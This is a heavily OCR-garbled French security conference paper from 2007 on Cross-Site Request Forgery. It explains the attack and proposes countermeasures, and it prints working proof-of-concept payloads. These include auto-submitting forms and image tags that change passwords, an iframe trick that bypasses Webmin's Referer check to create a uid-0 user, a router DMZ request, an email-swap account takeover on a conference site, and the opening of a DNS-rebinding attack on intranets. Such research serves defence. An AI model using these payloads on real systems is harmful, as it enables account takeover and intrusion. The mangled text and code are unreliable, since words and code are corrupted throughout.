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Resune  Cet article pesente unetat de l'art des attaques de type Cross-Site Request For-
gery et les nouvelles techniques pouvant étre utiliees par des attaquants pour les ealiser de
facon e cace. Plusieurs s@narios d'attaque sur des appl ications Web grand public sont ex-
pligwes ainsi qu'une vulrerabilie, pesente dans lap lupart des navigateurs Web ecents. Cette

vulrerabilie permet de ealiser des attaques de type Cross-Site Request Forgery e cacesa

l'aide de l'objet XMLHttpRequest. De plus, une technique iredite, permettant d'assurer la

persistance du code hostile sur la machine, méme apes la érmeture de la fenétre du navi-
gateur, est pesente. En n, les meilleures solutions po ur se pemunir de ces attaques sont
discuees pour permettrea chacun (utilisateurs, cevel oppeurs de navigateurs ou d'applica-
tions Web, responsables de la ®curie des sysemes d'informations dans une organisation,
etc...) de contribuera leradication de cette menace.

1 Introduction

Dans la plupart des organisations, le navigateur Web est unepplication incontournable sur
le poste de travail. Il sert en e et de client Eger pour une vaste palette d'applications : moteurs
de recherche, sites communautaires, courrielwebs, bangsi@n ligne, applications netiers propresa
chaque secteur d'activie, etc.

Ces applications diverses peuvent étre accessibles unignent depuis le eseau interne de l'orga-
nisation, ou disponibles sur Internet. Elles peuvent contair des donrees sensibles et recessiter une
authenti cation, ou au contraire étre ouvertesa tout le m onde. Mais toutes sont accessibles depuis
un navigateur utilisant des protocoles standards.

Beaucoup d'applications Web oublient cependant que les ragtes HTTP qu'elles recoivent en
provenance du navigateur Web peuvent avoir et falsiee s par une autre page Web ouverte en
paralele dans le navigateur. Sans que l'utilisateur en ai conscience, cette page Web hostile peut
usurper son identie et e ectuer des requétes vers d'autes sites Web. Ce type d'attaque est nhomrme

Cross-Site Request Forgery (CSRF).

Cet article fait le point sur le danger que repesentent lesattaques par CSRF et les risques
suppkmentaires appores par les nouveaux standards du Véb.

Une premere partie cemontre que les attaques par CSRF sohsimplesa e ectuer pour un atta-
guant, gu'elles peuvent avoir des conequences importamis pour la ecurie des applications Web
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et que ces risques sont globalement sous-estines par legwkloppeurs et les personnes en charge du
maintien de la scurie des Sl au sein des organisations.

Une seconde partie pesente levolution de la menace au va des nouvelles fonctionnalies des
navigateurs ecents. En e et, malge une prise en compte des menaces dans la conception des
navigateurs, certaines fonctionnalies peuvent faciliter la ealisation d'attaques de type CSRF a
destination d'applications Web. D'autres permettent m&me d'envisager des attaques vers d'autres
ebments du Sl : bases de donrees, outils d'administrationa distance, etc...

Une troiseme partie pesente les di cules pratigues | eesa la ealisation d'attaques de type
CSRF ( en conditions eelles). En e et, les formes les plus simples de ces attaques sontadiees
( en aveugle), et l'attaquant ne peut pas adapter ses tentatives et ealiser des actions complexes
sur des applications tierces. De plus, certaines fonctioralies des navigateurs rendent plus di cile
la conservation de la fenétre Web contenant le code hostileNous cemontrons cependant qu'un
attaquant cetermire peut contourner la plupart des restr ictions pour ealiser une attaque de type
CSRF e cace. Ainsi, nous pesenterons un outil montrant qu e le navigateur de I'utilisateur peut
etre utili’e comme un relais, qui envoie vers le eseau iterne des requétes arbitraires ceees par un
attaquant contrélant un serveur Web hostile.

En n, une quatreme partieetudie dierentes solutions pour contrer ces attaques. Ces solutions
peuvent &tre mises en uvre soit au niveau des applicationsWeb, soit au niveau du navigateur, ou
encore par une meilleure sensibilisation de I'utilisateur nal.

2 Les attaques de type Cross Site Request Forgery : simples,
dangereuses et pourtant neconnues

2.1 Une attaque simple

Les attaques de typeCross-Site Request Forgerf\CSRF) sont possibles sur les applications Web
dont la structure de certaines requétes est pedictible. Prenons I'exemple d'une application Web
attendant la requéte de type GET suivante pour changer le mo de passe de I'utilisateur :

GET http://www.hsc.fr/changePassword?value=newpass HT TP/1.1

Une autre page Web, si elle e ectue une requéte similaire, @ut e ectuer l'action correspondante

dans l'application Web vulrerable. Pour ceer automatiq uement cette requéte, la page Web hostile
peut contenir une balise image, qui provoque I'envoi d'une equéte pour ecugerer limage lors de son
analyse par le navigateur. Ainsi, la balise suivante provogera I'envoi d'une requéte de changement
de mot de passe :

<img src=http://www.hsc.fr/changePassword?value=newp ass />

Les attaques de type CSRF sont toujours possible si I'appliation Web cibke attend une requéte
de type POST. Prenons la requéte suivante :

POST http://www.hsc.fr/changePassword HTTP/1.1
I

value=newpass



Actes du symposium SSTICO7 3

Pour ealiser une requéte de type POST similaire, la page Véb hostile peut contenir le formulaire
suivant :

<form action=http://www.hsc.fr/changePassword nhame=f m ethod=POST>
<input type=hidden name=value value=newpass>
</form>

La soumission de ce formulaire peut eétre automatise paré script suivant :
<script>document.f.submit();</script>

Lors de I'a chage d'une page contenant le formulaire et le scipt peedent, la requéte de change-
ment de mot de passe est automatiquement envoyee.

Cette attaque recessite simplement de connatre la struture des requétes utilies par I'appli-
cation Web vulrerable (URL et paranetres), de ceer une p age Web et de convaincre ['utilisateur
de I'a cher dans une fenétre de son navigateur. La requéteceee par l'attaquant est alors envoyee
puis traiee par I'application Web cibke.

2.2 Une attaque dangereuse

Les vulrerabilies de type CSRF sont dangereuses, puisqielles permettent potentiellement de
ealiser une action non autoriee dans une application Web avec les droits d'un utilisateur egitime
et sans son consentement. En e et, la requéte creee lors dhe attaque de type CSRF peut contenir
les informations utilisses par I'application Web pour aut henti er les requétes de I'utilisateur (cookie,
authenti cation HTTP...). De plus, la requéte est e ectu ee par le navigateur de I'utilisateur cibk,
ce qui permeta un attaquant de ealiser des requétes vergles serveurs sitles sur le eseau interne de
I'entreprise. Pour ealiser une attaque de type CSRF usurgant les informations d'authenti cation
d'un utilisateur kgitime, il faut attendre que celui-ci s 'authenti e dans l'application cible. Une
fois l'utilisateur authentie, la page Web hostile, m&me si elle n'appartient pas au méme domaine
gue l'application cibke, peut ealiser des requétes enutilisant la session ouverte par |'utilisateur
kgitime. Dierents mecanismes de suivi des sessions etd'authenti cation sont ainsi potentiellement
vulrerables :

{ envoi d'un cookie de session dans les requétes;

{ suivi par adresse IP ou nom DNS;

{ authenti cation des requétes par le necanisme d'authenti cation HTTP standard ( ( HTTP

Basic) et ( HTTP Digest )).
Les tests e ectwes sur dierents navigateurs montrent qu e :

{ Si l'application Web cibke ealise un suivi des sessiors par cookie, celui-ci sera envoye avec
la requéte ealise par la page hostile.

{ Si l'application ealise un suivi des sessions par adresss IP ou par nom DNS, la requéte sera
consiceee comme valide, puisqu'elle provient d'une madine pealablement authentiee.

{ Si I'application ealise une authenti cation des requé tes par le necanisme HTTP standard
(HTTP Basic ou HTTP Digest), le navigateur envoie les informations d'authenti cation avec
chaque requéte, méme si elle provient d'une autre page Web

Si l'application est uniquement accessible en HTTPS, l'atiquant peut ceer une requéte utilisant

ce protocole. En cas d'authenti cation par certi cat, le na vigateur utilise le certi cat en cours pour

ealiser la requéte. Il n'est pas recessaire de renseiggra nouveau le mot de passe de la ck privee
du certi cat.
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Password changad
«/himi>

192.168.0.1

Fig. 1: CSRF : rebond dans le eseau interne

A noter une dierence de comportement entre Internet Explorer 7.0 et Firefox 2.0. Sur les 2
navigateurs, lorsque l'utilisateur ouvre une page dans un auvel onglet ou dans une nouvelle fenétre
apes avoir cligee sur un lien, la page est chargee dans unthread appartenant au processus d'ori-
gine. En revanche, le comportement diere lorsqu'on clique sur le programme executable de chaque
navigateur : Internet Explorer 7.0 utilise un nouveau processus pour chaque nouvel instance, alors
que Firefox 2.0 utilise un unique processus. La conequercest que certaines informations d'au-
thenti cation ne peuvent pas etre utilies lorsque la fenétre hostile est chargee dans un processus
dierent sur Internet Explorer 7.0.

Le tableau suivant ecapitule les esultats en fonction des dierents navigateurs : Le terme de

Navigateur IE 7.0 : processuslE 7.0 : processugFF 2.0 : processus
identique dierent identique

Cookie X X

Adresse IP / nom DNS X X X

Authenti cation HTTP X X

Authenti cation HTTP enregistee dansle |X X X

navigateur

Certi cat HTTPS X X X

( session riding) est parfois utilise pour decrire cette possibilie pour une page Web d'utiliser les
informations d'authenti cation fournies par l'utilisate ur dans une autre page Web. Les attaques de
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type CSRF permettent ainsi de cetourner des schemas d'autenti cation Web par ailleurs solides
pour ealiser des actions dans des applications proeges.

Par ailleurs, la ealisation d'une attaque de type CSRF permet aussia un attaquant d'atteindre
une application Web sitiee sur le eseau interne. La page Vb hostile peut en e et contenir des URL
pointant vers des serveurs du eseau interne ( http://192.168.0.1/action.php ) ou ( http:
/lintranet/action.php )). Si la requéte est valide, elle peut permettre de ealise des actions sur
I'application interne.

De plus, si l'utilisateur n'est pas authentie, la page Web hostile peut ceer des requétes testant
des mots de passes triviaux sur l'application Web cibee. $un des mots de passe est accepe, les
requétes suivantes e ectiees dans la page Web hostile aont aces aux fonctionnalies proeges.

Exemple de senario d'attaque Le ( SMC7004ABR Barricade Broadband Router) est un
routeur destire aux particuliers. Il permet de ceer un LA N prive et de partager une connexion
Internet entre plusieurs machines. Une interface de con guation Web est disponible. Cette interface
de con guration Web recessite une authenti cation par mot de passe. Une fois I'authenti cation
ealiee, le suivi de session se fait en fonction de l'adrese IP de la machine.

Une fonction de l'interface d'administration Web permet de rajouter une machine en DMZ. La
structure de la requéte HTTP correspondante est la suivang :

POST /misc.htm HTTP/1.1

Host: 192.168.1.1:88

I
page=misc&logout=2&timeout=10&ping=1&IP1=0&IP2=0&IP3=0&IP4=0i
&dmzip4=10&C1=1&nonstdftpport=

Une telle requéte indique que l'adresse IP 192.168.1.10 diétre consickee comme la DMZ et que
toutes les requétes arrivant sur l'adresse IP publique du euteur doivent étre transmisesa l'adresse
IP indiquee. Cette IP devient ainsi totalement accessible depuis Internet.

Imaginons un senario d'attaque type, ai une personne maintentionree veut compromettre une
machine sittee sur le eseau interne. Si aucune redirectin de port n'est activee sur le routeur vers
la machine cible, I'attaquant ne peut joindre son adresse IPprivee, sittee sur le eseau interne.
Pour arrivera ses ns, il peut cependant e ectuer une attaque de type CSRF. Sil parvienta faire
a chera l'administrateur une page Web qu'il controle alo rs que l'administrateur est authentie
dans l'interface de con guration du routeur, il peut cecle ncher automatiquement la requéte et rendre
la machine cibke visible (et donc directement attaquable depuis Internet.

A noter que, comme evoqle peecdemment, l'attaquant pe ut aussi essayer des mots de passe
triviaux pour se connectera l'application de con guratio n. Si un mot de passe est troue, l'adresse
IP du poste de travail de I'administrateur sera consickee comme autoriee dans I'application et
l'attaquant pourra ealiser les actions recessairesa l'ajout des IP cibles en DMZ.

2.3 Une attaque neconnue

Alors que les premeres discussions sur Bugtragevoquanles risques les au CSRF datent de 2001
[6], ces attaques restent largement ignoees des cevelgeurs d'applications Web et des responsables
en charge du maintien de la scurie des Sl dans les organéions.

Les raisons possible de cette relative ignorance sont divees :
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{ Tout dabord, cette vulrerabilie est provoqiee par un d es principes fondateurs du Web : une
page provenant d'un domaine peut contenir des liens et e eater des requétes vers un autre
domaine. Cest le principe des liens hypertextes. C'est aussela qui permet d'enrichir les pages
Web par du contenu provenant de site tiers (publicies, images, ...). Pourquoi se ne er d'une
fonctionnalie standard, disponible depuis que le Web exste ?

{ Les concepteurs des applications Web pensent qu'une regté provient sysematiquement de
l'utilisateur, et ne pensent pas que cette requéte peut avinet provoqlee par une autre page
Web n'ayant aucun lien avec leur application.

A intervalle egulier, des vulrerabilies de type CSRF s ont cevoikes dans des applications Web grand
public. Ainsi en janvier 2006, Jeremiah Grossman a ek comment une page Web hostile pouvait
ecurerer la liste des contacts d'un utilisateur authent ie sur Gmail [1]. Les vulrerabilies devoiees
sont cependant peu nombreuses au regard du nombre d'applitans vulrerables. Le probeme global
est rarementevoqle dans les bonnes pratiques de cevelogpement fcuries, et en pratique, peu
d'applications Web mettent en place une protection e cace. Ainsi, la plupart des fonctionnalies
des applications Web sont vulrerablesa une attaque de type CSRF.

Dans les applications Web developpees pour epondrea des besoins mnetiers (progiciel nancier
disposant d'une interface Web, outil des gestion des contits), la plupart des actions netiers peuvent
&tre e ectiees par une page Web tierce. Les tests d'intruson que nous avons e ecties montrent qu'il
est souvent possible de modi er les coordonrees d'un fourisseur ou les conditions d'un contrata
l'aide d'une attaque de type CSRF simple. Lesequipementsaseaux de type routeurs, point d'aces
Wi, etc... sont eux aussi fortement vulrerablesa ces att aques, et il est gereralement possible de
modi er des paranetres de con guration critiquesa l'aid e d'une attaque de type CSRF.

Exemples d'applications Web vulrerables L'observation de la structure des requétes utiliees
par des applications Web permet de cetecter tes simplemant les applications vulrerables. A titre
d'exemple, nous avons tesk et valick la possibilie des ealiser des actions non autorieees par une
attaque de type CSRF dans plusieurs applications Web connuge Les tests ontet ealies en prenant
comme navigateur cible Internet Explorer 7.0 et Firefox 2.0sur une plateforme Windows XP SP2.
Site Web Blogger (vww.blogger.com, version en ligne le 29/03/2007) : envoi
d'un message sur un blog arbitraire avec l'identie Blogge de I'utilisateur cibk.
Une page Web contenant la balise HTML suivante provoque I'emoi d'un message sur le blog
dont l'identi ant est pass en paranetre. Si l'utilisate ur visionnant la page Web est authentie sur
Blogger, le message sera posk sous son identie.

<img src="http://www.blogger.com/login-comment.do?bl 0glD=31026586
&postIiD=115271990005599332&postBody=moi+je+vote+Jog+Bove&iden=Blogger
&post=Login+and+Publish"/>

Webmin (version 1.3.20) : Ajout d'un utilisateur sur le syseme administe
La requéte POST suivante est utili’e pour ajouter un utilisateur sur le syseme administe par
Webmin :

POST https://localhost;:10000/useradmin/save_user.cgi HTTP/1.1
[..]

Referer: https://localhost:10000/useradmin/edit_user .CQi
Cookie: testing=1; sid=49003aef7309052fd5d15620c3576e 93

[..]
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user=CSRF&uid_def=0&uid=0&real=&home_base=1&homeh&#=%2Fbin%2Fsh&passmode=0
&pass=&encpass=&othersh=&expired=&expirem=1&expirey=&min=&max=&warn==&inactive=
&newgid=&gidmode=0&gid=users&makehome=1&copy_fileskothers=1

La ealisation d'une attaque de type CSRF pour envoyer une equéte selon les techniques standard
ne fonctionne pas. L'application Webmin renvoit I'avertissement suivant :

Warning! Webmin has detected that the program
https: // localhost:
10000/ useradmin/save n_user.cgi? user=powned n&homa_base=1n&gid=users was linked to
from the URL http: //www. hsc. fr/ csrf. html , which appears to be outside the Webmin
server. This may be an attempt to trick your server into execting a dangerous command.

E='Feedback | ¥ ¢ Log Out

Continue executing Webmin program

Fig. 2: Webmin : message d'avertissement

Cependant, il est possible de supprimer I'envoi du( referer) en e ectuant le POST dans une
iframe. Le code suivant montre comment e ectuer une telle requéte

<html>
<body onload="document.f.submit()">
<iframe src="http://www.hsc-news.com/" name="iframeWe bmin" id="iframeWebmin">
<f/iframe>
<form action="https://localhost:10000/useradmin/save _user.cgi”
name="f" target="iframeWebmin">
<input type="hidden" name="user" value="CSRF" />
<input type="hidden" name="uid_def" value="0" />
[...]
<input type="hidden" name="others" value="1" />
<input type="submit" value="submit" />
</form>
</body>
</html>
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Ce code fonctionne, car les requétes envoyees dans lmmes n'envoient pas le champ( Referer).
Dans la mesure ai ce champ peut etre volontairement desative par I'utilisateur, Webmin accepte
la requéte et l'utilisateur est cee. Cette vulrerabil ie permet ainsi de ceer un utilisateur avec des
droits arbitraires dont le mot de passe est choisi par l'attaguant. De nombreux autres parametres
de con guration peuvent &tre modies de facon similaire .

Site Web ww.sstic.org (version en ligne le 29/03/2007) : ecuperation du mot de passe d'un
utilisateur

La page suivante permet aux personnes inscrites sur le siteww.sstic.org (dont les intervenants)
de modier leur mot de passe : Cette fonctionnalie de changement de mot de passe n'est pas

{2 SSTICO7 - Modification du mot de passe - Windows Internek Explorer =@ x|
@ v & hetpsifjuns.sstic. org/SSTICO7 fauthfmodicationPasswerd do =] 6 certfieate Ervor | 4¢ || x| [soolz Ll
e E @ ssTIcoT -Modfication du ok ds passe I | X0 - B - o= ohPage v Ok Took - 7
‘?f;aﬂw I~
P iaing-\ -
-SSTICH Il 3031 -mai/15uin, 20

3\_ 1 Rennes

\f%:} = jj ‘SYMPOSIUM SUR LA SECURITE DES TECHNDLOGIES DE LNFORMATION ET DES COMMUNICATIONS

'&"«; ~

T Changement de mot de passe

Accueil Modification du mot de passe

Programme de

la conférence Email : renaud.feil@hsc.fr

Informations « Ancien mot de T

pratiques passe *

Call For Paper * mot de [

Comités il

Confirmation du

Presse * nouveau motde |

Contacts passe :

Archives SSTIC

Actes SSTIC Annuler Valider

FAQ

Partenaires

Espace |
personnel
Modifier votre

compte
Changer de mot
de passe
Ajouter une
soumission
Medifier une
soumission
Afficher les
reviews

Tnecvintinne )

/&L Done, but with errors on page. [ [ 8 @ mternet [Riooe ~ 4

Fig. 3: Site SSTIC : page de modi cation des mots de passe

vulrerable au CSRF. Non pas que le ceveloppeur ait mis en pace une protection sgeci que pour se
pemunir des CSRF (voir partie 4), mais il respecte les bonres pratiques de €curie en demandant
le mot de passe peedent avant d'accepter le nouveau mot d passe. Il est cependant possible
de modi er l'adresse e-mail de I'utilisateur actuel dans lapage( Modier votre compte ) : Une
attaque de type CSRF, utilisant les techniques cep pes enkes, permet de rentrer une autre adresse
de courriel dans les coordonrees de l'utilisateur. L'attaguant peut ainsi rentrer un adresse e-mail
gu'il contréle. Il lui su rait ensuite, sans disposer d'un e authenti ation pealable de se rendre sur
la page ( Mot de passe ouble) pour demander a einitialiser le mot de passe de I'utilisateur
cibe. Les informations recessaires seront envoyees sul'adresse de courriel qu'il contréle, ce qui lui
permettrait ainsi d'aceder au contenu des soumissions eectiees.
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{2 55TICO7 - Inscription - Windows Internet Explorer e x|
@,\, i [ hetpsifjunn.sstic.org/ssTIco7; d ] 8 compesteError | 41| x| [coone £~
¢ & @ ssTicor - Inscription | I M- B - b - kPage v (FTook - 7
P N
;f"’lp N\ rmwsitcary
SSSTIC) 3 I ‘ 3031 mail 19uin; 2007
3\_ | | Rennes
b / 'SYMPOSIUM SUR LA SECURNTE DES TECHNDLOGIES DE L NFORMATION ET DES COMMUNICATIONS
\=" J
o
. - b
ST Formulaire d'Inscription
Accueil Informations Générales
Programme de
la conférence * Prénom : [Renaud
Informations
niatiques * Nom : [Feil
Call For Paper * Email : [renaud.feil@hsc.fr
st Organisation : [Hervé schauer Consultants
Presse
&
FContacts * Inscription: Publ{\uue
Archives SSTIC © privée
Actes SSTIC ) C oui
* iant:
FAQ } Etudiant: & Non
Partenaires
-5 S & 0ui, je souhaite minscrire 3 la mailing-list. =
* Mailing-list: o " !
Espace Non, je ne souhaite pas m'inscrire  la mailing-list.
personnel
Modifier votre
campte Adresse :
- 4 b de |, =
Changer de mot RiEte g |
de passe j
Ajouter une
soumission Code postal : [92300
Modifier une ville : [Levaliois-Perret
soumission
Afficher les Pays : [France
ewews: Téléphone : [0141409708 =
Tnecving tinne — =
[ [T T G [ tkemet ESE

Fig. 4: Site SSTIC : page de modi cation des coordonrees

Le cas des applications des banques en ligne frarcaise :

Sur les quelques sites de banques en ligne que nous avons partis, la ealisation d'une ogeration
bancaire importante, comme un virement, n'est pas realisdle par les techniques habituelles. En e et,
la ealisation de ces operations recessite souvent une econde requéte de con rmation, et un nunero
de etrence de 'operation est geree pour identi e r la requéte de con rmation. Ce mecanisme n'est
pas speci quement concu pour proeger des attaques par CRF, mais poureviter qu'un utilisateur
rafraichissant la fenétre de navigation en cours ou revena en arrere dans I'historique du navigateur
ne cerere plusieurs operations bancaires identiques.

Nous n'avons pas essaye de determiner si un identi ant de ekrence, respectant le format attendu
mais cee par une autre fenétre, pouvait étre accepe par ces applications. De méme, nous n‘avons
pas essaye de ceterminer si ces nuneros de ekrence dperations bancaires pouvaient étre teses
par force brute pour trouver un identi ant valide, ce qui pou rrait &tre possible dans la mesure a ces
nurreros contiennent la date et I'heure de I'ogeration. En n, nous n'avons pas essaye de modi er les
coordonrees personnelles de l'utilisateur cibk pour paivoir ecugerer des informations priviegees,
comme son mot de passe.

Comme nous l'avons vu, les vulrerabilies de type CSRF son tes epandues dans les appli-
cations Web, et il est facile de trouver d'autres d'exemples Un Month of the Cross Site Request
Forgery Bug risquerait de durer bien plus d'un mois...
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{2 55TICO7 - Mot de passe oublié - Windows Internet Explorer =] x|
@.\: ¥ |'g hi tic, org/SSTICT, rdOublie.do j *i| X IGc\-yg\e B~
W o ffl 'J (€ icrosoft Outlook Web sccess 1 @ 55TIC07 - Mot de passe ... xl ] 3 v B - v b Page - (G Tools r 7
=
ﬁ:’"%%
-SSTICH 3 I‘ 30-31-mail 1%uin; 2007
R | Rennes

b f 'SYMPOSIUM SUR LA SECURNTE DES TECHNDLOGIES DE L MFORMATION ET DES COMMUNICATIONS

T
e

Mot de passe oublié

Accueil Adresse mail
Programme de
la conférence [hacker@mechant.org
S'inscrire a la Un mail vous permettant de modifier votre password vous sera envoyé a l'adresse c-dessus.
conférence

Informations Annuler | valider |

pratiques
Soumettre une
intervention
Appel a
soumissions
Comités
Presse
Contacts

Archives SSTIC
Actes SSTIC
FAQ
Partenaires

Espace
personnel
Créer un
compte
Importer un
compte
SSTIC04
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Fig. 5: Site SSTIC : einitialisation du mot de passe

3 Evolution des attaques sur les navigateurs Web ecents

3.1 Les attaques historiques par GET et POST : plus e caces en core avec Javascript

Les attaques pesentes dans la partie pe@dente, utilisant des requétes HTTP de type GET et
POST, peuvent tre ealizes de facon dynamiquea l'aide d'un script sur la page Web hostile. Le
langage de script le plus utilise, Javascript, permet aing de contréler 'enchamement des requétes de
facon dynamique, sans avoira recharger le contenu de la pge hostile (par exemple avec une balise
<meta http-equiv="Refresh" content="2">, qui recharge la page en cours toute les deux secondes).
L'utilisation d'un langage de script permet aussi la ealisation d'une page hostile ealisant des
requétes dont le type, I'URL et les paranetres, lui sont fournis en temps kel par le serveur. Cette
possibilie est approfondie dans la partie 3, qui pesente I'outii CSRF-proxy.

Le code Javascript correspondanta l'envoi de la requéte &T pesente dans la partie 1 est
simple :

<script>

var img= new Image ();

img.src = "http://www.hsc.fr/changePassword?value=new pass";
</script>

A noter que d'autres balises HTML peuvent provoquer I'envoi par le navigateur d'une requéte de
type GET, notamment les balises APPLET, BASE, BODY, EMBED, L AYER, META, OBJECT,
LINK, SCRIPT ou STYLE.
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De méme, la construction et I'envoi automatique du formulare pesene dans la partie 1 peuvent
Btre automatises et controks par Javascript de la facon suivante :

<script>
var f = document.createElement(‘form");
f.setAttribute("action", "http://www.hsc.fr/changePa ssword");

f.setAttribute("method", "POST");

f.setAttribute("name”, "form");

var param = document.createElement('input’);
param.setAttribute("type”, "hidden");
param.setAttribute("name", "value");
param.setAttribute("value", "newpass");
document.body.appendChild(f);
f.appendChild(param);

window.form.submit();
</script>

L'utilisation de Javascript pour construire de facon dynamique les requétes HTTP est e cace, sauf
lorsque le navigateur cibk est Internet Explorer 7.0. En eet, ce dernier a che dans certains cas
un message d'avertissement demandant |'autorisation d'ecuter un script sur la page.

Les attaques de type CSREF utilisant les techniques connuea ce jour ont cependant une limite
importante : la page hostile ealisant les requétes ne peuconsulter le esultat de ces requétes.
En e et, les navigateurs cloisonnent le contenu des dierents domaines selon une politique appeke
( same origin policy). Les scripts d'une page provenant du serveul{ www.hsc.com) ne peut
consulter ou modi er le contenu, c'esta dire I'arborescerce DOM (( Document Object Model)),
d'une page provenant du serveur( www.hsc-news.comj). Ainsi, lors d'une attaque de type CSRF
( standard)), l'attaquant peut ealiser des actions dans l'application, mais ne peut pas consulter
des informations sur ces pages.

Nous verrons cependant que les nouveaux standards du Web peettenta un attaquant cetermire
de franchir cette limite.

3.2 Les possibilies d'attaques o ertes par les plugins de S havigateurs

Certaines attaques de type CSRF peuvent étre eali®esa l'aide de plugins ou d'objets ActiveX
accessibles dans les navigateurs. En e et, dans certains gala politique de curie utilisee par ces
plugins est moins restrictive que celle du navigateur, comrma cela aek le cas dans le plugin Flash
[4].

De plus, certains plugins permettent d'acedera d'autres types de ressources, comme les bases
de donrees. Par exemple, le constructeur suivant permet dhstancier un objet connexion ADO vers
une base de donrees SQL, via une source de donree ODBC conuge :

var conn = new ActiveXObject("ADODB.Connection");
conn.Open("dsn=AppDB;uid=user;pwd=pass;");
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Un attaquant pourrait essayer de tirer partie de cette sour@ de donrees en essayant des mots
de passe triviaux. Cette possibilie n'est cependant pas etailee, car les contréles ActiveX sont
esacties par cefaut dans Internet Explorer 7.0, et ne sont pas disponibles sous Firefox 2.0. De
plus, la plupart des bases de donrees modernes disposentude interface d'administration Web,
comme Oracle avecXMLDB (vulrerable aux attaques de type CSRF ?).

3.3 Les requétes XMLHttpRequest : de nouvelles opportunit es pour les attaques de
type CSRF

Pour faciliter le ceveloppement des nouvelles applicatims ( Web 2.0)), les navigateurs ecents
disposent d'une fonctionnalie permettant aux pages de raliser des requétes HTTP de facon asyn-
chrone et d'inegrer le esultat de la requéte dans la page en cours. Elle permet de cevelopper des
sites ergonomiques, enevitant le rechargement sysematjue de la page HTML pour mettrea jour
son contenu. Cette nouvelle fonctionnalie repose sur I'dilisation de la fonction XMLHttpRequest.

Les objets XMLHttpRequest sont disponibles depuis septembre 1998 sur Internet Expler 5.0
en tant qu'objet ActiveX, puis nativement depuis Internet E xplorer 7.0. Sur les autres navigateurs,
ils sont utilisables depuis Mozilla 1.0 (en mai 2002), Safarl.2 (Evrier 2004), Konqueror 3.4 (mars
2005) et Opera 8.0 (avril 2005).

L'envoi d'une requéte par I'objet XMLHttpRequest est coce de la facon suivante dans Internet
Explorer 7.0 et dans Firefox 2.0 (pour Internet Explorer 6.0, la ceation se fait gracea un objet
ActiveX) :

<script>
var xhr = new XMLHttpRequest();
xhr.open(POST, "http://www.hsc.fr/changePassword", tr ue);

xhr.setRequestHeader("Cookie", "toto");

xhr.onreadystatechange = function () {

if (xhr.readyState == 4) {
doEvilAction(xhr.responseText);

}
h

reg.send("value=newpass");
</script>

Ce script provoquera I'envoi de la requéte HTTP suivante :

POST changePassword HTTP/1.1
[...]

Cookie: toto

[...]

value=newpass

Cette fonctionnalie est ineressante pour les attaquants. Elle permet de ealiser des requétes de
facon aussi exible que les codes Javascript pesenes gedemment, mais aussi de modi er les
en-tétes envoyees au serveur Web. Et surtout, elle permetde ecugerer le esultat de la requéte
pour traitement ou pour I'envoyer au serveur hostile. Cela murrait ouvrir la portea des attaques
de type CSRF tes e caces.
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Les concepteurs deXMLHttpRequest ont compris les risques lesa cette nouvelle fonctionnaie.
Poureviter les attaques de type CSRF, les connexions utilsant I'objet XMLHttpRequest ne peuvent
etre e ectwees que vers le domaine tebergeant la page diagine. Cette restriction est nomne ( same
domain policy ). Ainsi, un script reberge sur une page du serveurwww.hsc.fr ne peut e ectuer des
requétes que vers des URL du serveurww.hsc.fr . Il ne peut e ectuer des requétes utilisant I'objet
XMLHttpRequest vers le serveurwww.hsc-news.comou méme vers I'URL www2.hsc.fr . Plusieurs
astuces permettant de contourner cette restriction ontet trouvees par des ceveloppeurs, comme
la ealisation de la requéte cesiee par le serveur d'origine. Mais ces astuces ne remettent pas en
guestion la ecurie du moctle et ne permettent pas de fadliter les attaques de type CSRF.

HSC a cependant cecouvert que le mecanisme de restrictiormis en place dans les principaux
navigateurs du marche ne permet pas de bloquer de facon e ace les attaques de type CSRF. En
e et, le necanisme de restriction actuel empeche les regétes inter-domaines, mais fait con ancea
l'infrastructure DNS sous-jacente pour ceterminer quelle adresse IP corresponda I'URL autoriee.
Or, dans le cas d'un site hostile, I'attaquant peut contréler le serveur DNS ayant autorie sur la
zone correspondanta I'URL de la page hostile. Il peut ainsj une fois la page hostile eechargee,
modi er les enregistrements DNS correspondants au serveuWeb ayant servi de cette page. Les
requétes utilisant I'objet XMLHttpRequest seront autoriees vers 'URL du serveur, méme si cette
URL correspond desormaisa une autre adresse IP que celle u site Web d'origine. Ces requétes
peuvent ainsi étre dirigees vers des adresses IP priveesitlees sur le eseau interne de la cible.

Il est ainsi possiblea une page Web hostile, kebergee surinternet, de se connectera des ap-
plications Web sitiees sur l'intranet d'une organisation, d'usurper l'identie de I'utilisateur actuel
du navigateur (s'il est connecta l'application Web ciblee), et de ealiser des actions non auto-
riees. Mais surtout, la page hostile peut renvoyer les inbrmations ecugeees depuis I'application
Web interne vers le serveur hostile sitte sur Internet et catrok par l'attaquant. Cette attaque ne
recessite pas de compromettre le navigateur (au sens d'ecuter du code arbitraire, comme apes
I'exploitation d'une vulrerabilie leea la gestion d e la nemoire), ou l'installation d'un cheval de
Troie sur le poste de I'utilisateur. Seules les API standard du Web sont utilisees et cetourrees.

Cette attaque a et impemente avec suces dans des caditions eelles sur les navigateurs
Internet Explorer 6 et Firefox 2.0 (plate forme Windows XP SP2). Voici la cirematique de cette
attaque :

1. Consultation de la page hostile par la victime :

(a) Le navigateur demande une esolution DNS pour dceterminer l'adresse IP correspondant au
serveurww